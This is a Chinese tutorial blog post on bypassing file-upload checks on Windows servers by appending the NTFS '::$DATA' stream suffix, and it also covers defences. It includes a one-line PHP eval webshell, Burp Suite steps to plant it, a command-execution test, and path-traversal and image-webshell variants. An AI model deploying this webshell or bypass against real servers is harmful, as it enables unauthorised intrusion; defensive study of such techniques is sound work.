利用Windows特性(::$DATA)绕过文件上传检测的实战解析
1. 文件上传检测一场猫鼠游戏做安全测试的朋友们尤其是搞Web渗透的肯定对文件上传这个点又爱又恨。爱的是一旦找到一个上传漏洞往往就是拿到服务器权限的“高速公路”恨的是现在的防护手段越来越严想成功上传一个Webshell简直像在玩一场高难度的猫鼠游戏。服务器端的安全工程师们绞尽脑汁设置了层层关卡从最基础的后缀名黑名单、白名单到检查文件内容、MIME类型甚至用上了复杂的竞争条件检测。而我们这些“老鼠”呢就得想尽各种奇技淫巧从这些防护的缝隙里钻过去。今天我想和大家深入聊聊一种非常“Windows”的绕过技巧——利用::$DATA这个特殊的NTFS流标识符。这个方法听起来有点偏门但在某些特定场景下它就像一把精巧的钥匙能打开一扇被常规检查锁死的门。我第一次在实际测试中用到它是在一个看似防护严密的CMS后台。常规的大小写变换、加空格、加点甚至尝试一些冷门后缀统统被拦了下来。当时都快放弃了抱着试试看的心态在Burp Suite里给文件名后面加上了::$DATA结果那个请求包竟然“嗖”地一下就过去了服务器返回了上传成功那一刻的感觉就像在迷宫尽头突然发现了一扇隐藏的小门。这个方法的核心其实在于Windows系统和服务器端检测逻辑之间的认知差。服务器端的代码可能是PHP、ASP.NET等在解析上传的文件名时如果只是做简单的字符串匹配或正则过滤很可能会被::$DATA这个“合法”的NTFS流名给骗过去。而Windows系统在最终保存文件时又会自动把这个流标识符给剥离掉只留下我们真正想要的文件名。这种“瞒天过海”的效果正是它精妙之处。当然我得先泼盆冷水这个方法有严格的局限性它只对部署在Windows服务器上的Web应用有效如果目标跑在Linux上这招就完全没用了。所以动手之前情报收集、识别服务器操作系统是必不可少的第一步。2. 深入理解::$DATA 到底是什么在直接上手操作之前我们有必要花点时间把这个技巧背后的原理吃透。知其然更要知其所以然这样你才能举一反三在别的场景里也能灵活运用。2.1 NTFS文件系统与备用数据流::$DATA这个语法根植于Windows的NTFS文件系统。NTFS有一个不太为普通用户所熟知但在安全领域却“大名鼎鼎”的特性叫做“备用数据流”。你可以把一个NTFS文件想象成一个容器这个容器里除了装着文件的主要内容我们称之为“主数据流”还可以额外附加上多个其他命名的数据流。::$DATA就是用来指代这个文件主数据流的一个特殊标识符。举个例子你有一个叫readme.txt的文件。在NTFS看来它的完整路径名其实是readme.txt::$DATA。当我们用echo “hello” readme.txt命令写入内容时实际上是把“hello”写入了readme.txt文件的$DATA流。我们日常操作文件默认访问的都是这个$DATA流。所以在Windows的命令行里你执行type readme.txt和type readme.txt::$DATA看到的结果是完全一样的。2.2 服务器检测的“视觉盲区”那么这个系统特性是怎么帮助我们绕过检测的呢关键在于字符串处理的差异。假设一个Web应用的上传功能它的后端检测逻辑是用PHP写的代码如下$allowed_ext array(jpg, png, gif); $filename $_FILES[file][name]; // 用户上传的文件名 $ext pathinfo($filename, PATHINFO_EXTENSION); // 获取后缀名 if (!in_array($ext, $allowed_ext)) { die(文件类型不允许); } // 通过检测执行移动文件操作move_uploaded_file(...)这段代码的逻辑很清晰获取文件名提取后缀检查是否在白名单里。现在我们上传一个文件但通过Burp Suite拦截请求把文件名从shell.php改成shell.php::$DATA。PHP的pathinfo()函数会怎么看这个函数在处理shell.php::$DATA时它会将::$DATA整体视为文件名的一部分而不是一个合法的扩展名分隔符。pathinfo($filename, PATHINFO_EXTENSION)很可能会返回一个空值或者返回php::$DATA这样奇怪的字符串。无论哪种情况它都不太可能等于简单的php。如果后端采用的是黑名单机制检查后缀是否在危险列表里它可能根本匹配不上php因为黑名单里写的是php而不是php::$DATA。如果后端是白名单机制php::$DATA也肯定不在允许的jpg, png, gif列表里。但是这里存在一个关键点如果开发者的检测逻辑写得不够严谨比如只是用strpos()查找.php这个字符串那么shell.php::$DATA里确实包含.php会被拦截但如果他是用substr()、explode(‘.’)或正则表达式/\\.(php|asp|jsp)$/i来匹配结尾那么::$DATA就会破坏这个匹配模式导致检测失效。Windows系统最终会怎么存当PHP的move_uploaded_file()函数试图将临时文件移动到最终目录比如uploads/shell.php::$DATA时Windows内核的文件系统驱动会识别::$DATA这个流指示符。它会认为用户是想将文件内容写入shell.php文件的$DATA流。由于$DATA就是默认流所以系统会自动剥离::$DATA最终在磁盘上创建的文件名就是shell.php。你看整个过程中后端的检测代码和底层的文件系统对同一个文件名的“理解”出现了偏差。检测代码可能被::$DATA迷惑判断其为“非php文件”或“无法识别的文件”予以放行。而文件系统则忠实地执行了写入操作并“好心”地帮我们去掉了多余的流标识符留下了纯净的shell.php。2.3 不只是::$DATAWindows的“特殊待遇”理解了这个原理你就能明白::$DATA只是利用Windows文件命名特性的一种方式。类似的“特性”还有几个我在实战中也经常组合尝试末尾加点.shell.php.。Windows在保存文件时会自动去除末尾的点但很多基于字符串截取后缀的检测逻辑可能会把php.当成后缀从而匹配失败。末尾加空格shell.php注意php后面有个空格。在HTTP请求中空格有时会被编码或处理但Windows也会自动修剪文件名末尾的空格。大小写混淆sHeLl.PhP。这是针对大小写敏感检测的绕过在Windows系统上文件名大小写不敏感shell.php和SHELL.PHP指向同一个文件。这些方法的共同点是构造一个能让后端检测逻辑“误判”同时又会被Windows系统“纠正”的文件名。它们都属于“后缀名检测绕过”这个大类下的技巧而::$DATA因其特殊性成功率在特定环境下往往更高一些。3. 实战演练手把手用Burp Suite绕过检测光说不练假把式下面我就用一个模拟的环境带大家走一遍完整的流程。我假设你已经有了一些Burp Suite的基础知识比如如何设置代理、拦截请求。如果还没用过建议先找些基础教程看看几分钟就能上手。3.1 环境搭建与目标识别首先你需要一个测试靶场。网上有很多开源的Web渗透测试靶场如DVWA、Upload Labs里面都集成了各种难度的文件上传关卡。为了方便演示我们假设靶场地址是http://test.local/upload.php。这个页面上有一个简单的表单只能上传图片提示仅允许 .jpg, .png, .gif。第一步信息收集打开靶场页面先随便上传一个正常的图片文件比如cat.jpg确认功能正常。尝试上传一个test.php文件页面上应该会返回“文件类型不允许”之类的错误。这说明有服务端检测。关键步骤想办法判断服务器操作系统。方法有很多查看HTTP响应头有时候会有Server: Microsoft-IIS/10.0或X-Powered-By: ASP.NET这样的信息强烈暗示是Windows服务器。如果网站有错误回显可以故意触发一个错误看错误信息是否包含Windows路径如C:\\inetpub\\wwwroot\\。使用一些无害的探测载荷比如在文件名中包含CON、AUX等Windows保留字看是否被拒绝这些字在Linux下是合法的文件名。 确认是Windows服务器我们的::$DATA技巧才有了用武之地。3.2 配置Burp Suite与浏览器启动Burp Suite打开Burp在Proxy-Options中确保代理监听器是开启的默认127.0.0.1:8080。配置浏览器代理以Firefox为例在网络设置中配置手动代理HTTP和HTTPS都指向127.0.0.1端口8080。安装Burp证书可选但推荐如果要测试HTTPS站点需要在浏览器中安装Burp Suite导出的CA证书否则无法拦截加密流量。这个步骤在Burp的官方文档里有详细说明。准备我们的“炮弹”创建一个简单的PHP Webshell文件内容如下保存为shell.php?php eval($_REQUEST[cmd]);?这个文件非常小功能是执行通过cmd参数传递的系统命令。3.3 拦截、修改与上传现在好戏开场。回到浏览器访问http://test.local/upload.php。在文件上传表单中选择我们刚创建的shell.php点击上传按钮。迅速切换到Burp Suite你应该能在Proxy-Intercept标签页下看到被拦截的HTTP POST请求。如果没看到请确认拦截功能是打开的Intercept is on。找到请求体中文件上传的部分它看起来大概是这样的-----------------------------1234567890 Content-Disposition: form-data; namefile; filenameshell.php Content-Type: application/octet-stream ?php eval($_REQUEST[cmd]);?注意filenameshell.php这一行。实施绕过我们将filename的值修改为shell.php::$DATA。修改后是这样filenameshell.php::$DATA这里有个巨坑我踩过好几次一定要确保修改的是filename参数里的值并且保持引号的完整性。有时候手抖多删了一个引号整个请求格式就坏了会导致上传失败。修改完后整个请求体的长度可能会变但Burp通常会自动处理我们一般不用手动改Content-Length头。点击Forward按钮放行这个被我们篡改过的请求。回到浏览器。如果运气好或者说如果靶场的检测逻辑存在我们预想的缺陷你会看到“文件上传成功”的提示并给出一个文件路径比如uploads/shell.php::$DATA。3.4 访问与验证上传成功只是第一步能不能执行才是关键。根据返回的路径我们尝试在浏览器访问http://test.local/uploads/shell.php::$DATA大概率你会看到一个404错误页面或者提示文件不存在。这完全正常也是这个技巧最精髓的地方因为Windows在保存时去掉了::$DATA实际上存储在服务器上的文件是shell.php。我们访问的路径和实际路径不匹配。我们访问真正的文件http://test.local/uploads/shell.php如果页面空白没有报错那么恭喜你文件很可能已经存在了。验证Webshell在URL后面加上参数例如http://test.local/uploads/shell.php?cmdwhoami这个请求的意思是让shell.php执行系统命令whoami查看当前进程的用户名。如果页面上显示了系统用户名比如nt authority\\system或iis apppool\\defaultapppool那么恭喜你绕过成功并且拿到了命令执行权限注意在实际的渗透测试中必须获得书面授权才能对目标进行此类操作。未经授权的测试是违法的。这里的演示仅在你自己搭建的、完全可控的靶场环境中进行。4. 适用场景、局限性与防御之道通过上面的实战你可能觉得::$DATA这招简直神了。别急它远非万能。作为一个用了这么多年的老方法现在的WAFWeb应用防火墙和成熟的安全框架很多都能识别并拦截它。下面我们来客观分析一下它的用武之地和软肋。4.1 何时可能奏效这个方法在以下几种场景下成功率会相对高一些老旧系统或自定义框架一些年代久远、不再维护的CMS或者企业自己开发的、安全考虑不周全的内部系统。它们的上传逻辑可能还停留在简单的字符串匹配阶段。黑名单机制且过滤不严如果系统采用黑名单只过滤php、asp、jsp等并且是用或进行完全匹配那么php::$DATA就能绕过。如果用的是strpos查找.php子串则无效。中间件或框架解析差异有时处理上传的组件如某个Java库、.NET的某个方法和最终保存文件的系统API之间对文件名的解析可能存在细微差别从而产生可利用的缝隙。二次验证漏洞有些系统会在多个地方进行检测。例如先在前端控制器用一个正则过滤保存时又用另一个函数检查。如果两者规则不一致就可能被绕过。::$DATA可能骗过第一关却在第二关被Windows“修正”了。4.2 主要的局限性操作系统依赖这是最大的限制。只对Windows服务器有效。如果目标是Linux包括大多数云服务器::$DATA会被当作文件名的一部分你最终会得到一个名为shell.php::$DATA的文件Apache/Nginx无法将其识别为PHP文件攻击无效。现代防护软件的检测主流WAF如Cloudflare、ModSecurity等和杀毒软件的网络层检测早已将::$DATA列入特征库。直接使用很可能被瞬间拦截。框架内置安全机制现代Web开发框架如Spring Security for Java, Laravel for PHP的文件上传组件通常提供了更全面的安全处理包括规范文件名、去除特殊字符等可能在你不知情的情况下就把::$DATA清理掉了。需要其他漏洞配合即使上传了一个shell.php如果服务器配置不当如未将上传目录设置为不可执行或者没有文件包含漏洞这个Webshell也无法被触发执行。4.3 如何防御这种绕过如果你是开发者或安全运维可以从以下几个层面筑起防线文件名重命名这是最有效、最推荐的方法。不要使用用户上传的文件名。在上传后用随机生成的字符串如UUID或“时间戳随机数”重命名文件并保留原始扩展名需经过严格校验。例如用户上传的 shell.php::$DATA-服务器存储的 a1b2c3d4e5f6.php。这样无论用户传什么奇葩名字最终存储名都是你控制的。白名单校验使用扩展名白名单而不是黑名单。只允许[‘jpg’, ‘jpeg’, ‘png’, ‘gif’]等有限的、明确的类型。校验时先对文件名进行规范化处理。规范化与过滤在检查后缀名前对文件名进行强力清洗$filename $_FILES[file][name]; // 移除所有NTFS流标识符 $filename preg_replace(/::$DATA$/i, , $filename); $filename preg_replace(/^[^:]:/, , $filename); // 移除其他流名 // 移除末尾的点和空格 $filename trim($filename, .\t\n\r\0\x0B); // 提取并校验后缀使用白名单 $ext strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (!in_array($ext, $allowed_extensions)) { die(非法文件类型); }检查文件内容对于图片可以用getimagesize()函数验证其确实是有效的图片文件。但这只能防住不伪装的木马对于图片马将Webshell代码写入图片EXIF等信息需要更深入的二进制检查。设置正确的目录权限将上传目录的权限设置为不可执行。在Nginx/Apache配置中确保上传目录没有PHP/ASP等脚本的执行权限。这样即使恶意文件被上传也无法被解析。使用安全扫描工具在服务器端部署文件内容安全扫描引擎对上传的文件进行静态和动态的恶意代码检测。5. 进阶思考与技巧组合在真实的渗透测试中很少有一种方法能通吃所有情况。高手往往都是“组合拳”玩家。::$DATA绕过可以和其他技巧结合形成更强的攻击链。5.1 与MIME类型绕过结合有些应用既检查后缀名又检查HTTP请求头中的Content-TypeMIME类型。你可以先将shell.php改名为shell.jpg或shell.jpg::$DATA。用Burp拦截将filename改为shell.jpg或shell.jpg::$DATA同时将请求头中的Content-Type: image/jpeg修改为Content-Type: image/jpeg保持不变因为本来就是图片的MIME。这样如果后端先检查MIME类型通过再检查后缀名被::$DATA或后续的.htaccess攻击绕过就可能成功。更狡猾的做法是制作一个真实的图片马。用copy命令将Webshell和图片合并copy normal.jpg /b shell.php /a webshell.jpg。这样文件既是合法图片又包含PHP代码。上传时用图片后缀和MIME再利用文件包含漏洞或解析漏洞去执行其中的代码。5.2 与路径遍历结合如果上传功能还允许你指定或影响文件保存的部分路径哪怕只是一个子目录名可以尝试路径遍历Directory Traversal。在Burp中将filename修改为../../../wwwroot/shell.php::$DATA。这样做的目的是让文件跳出上传目录直接写到Web根目录下。如果后端没有过滤../并且::$DATA绕过了后缀检查那么Webshell就会被保存到更易访问的位置。注意Windows和Linux的路径分隔符不同有时需要尝试..\或 URL编码的..%2f、..%5c。5.3 与竞争条件攻击结合这是一个更高级的技巧。有些应用的上传流程是先允许文件上传到临时目录然后进行安全检查如病毒扫描、内容分析如果检查不通过再删除。你可以编写一个特殊的Webshell它一被访问就迅速在服务器上复制自身到一个永久位置或者写入一个后门。利用::$DATA或其他方式尽可能让文件通过初步的“文件名/类型”检查上传到临时目录。然后以极快的速度、并发地访问这个临时文件可能在它被删除之前。因为Windows处理::$DATA需要时间这个时间窗口可能被利用。这种攻击对服务器的性能和时序非常敏感实现起来较复杂但一旦成功危害极大。5.4 自动化工具中的使用在像Burp Suite的Intruder、Sqlmap这类自动化工具中你也可以集成::$DATA这种Payload。在Burp Intruder中你可以设置一个攻击位置在filename参数上然后使用一个包含::$DATA、空格、.等多种变形的Payload列表进行模糊测试Fuzzing。这能帮助你快速探测目标系统对哪些Windows特性文件名处理不当。不过要注意这种测试会产生大量非法请求容易被日志记录和告警在授权测试中也要谨慎使用。说到底::$DATA绕过是一个经典的、依赖于特定环境Windows和代码缺陷不严谨的字符串处理的技巧。它像一把老式的万能钥匙虽然不能打开所有的新式锁但在面对一些旧锁时依然可能一击即中。理解它的原理能帮你更好地构建攻击面也能让你从防御者的角度写出更健壮、更安全的代码。安全攻防的本质就是细节的博弈每一个看似微小的特性都可能成为突破口或防御点。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2416345.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!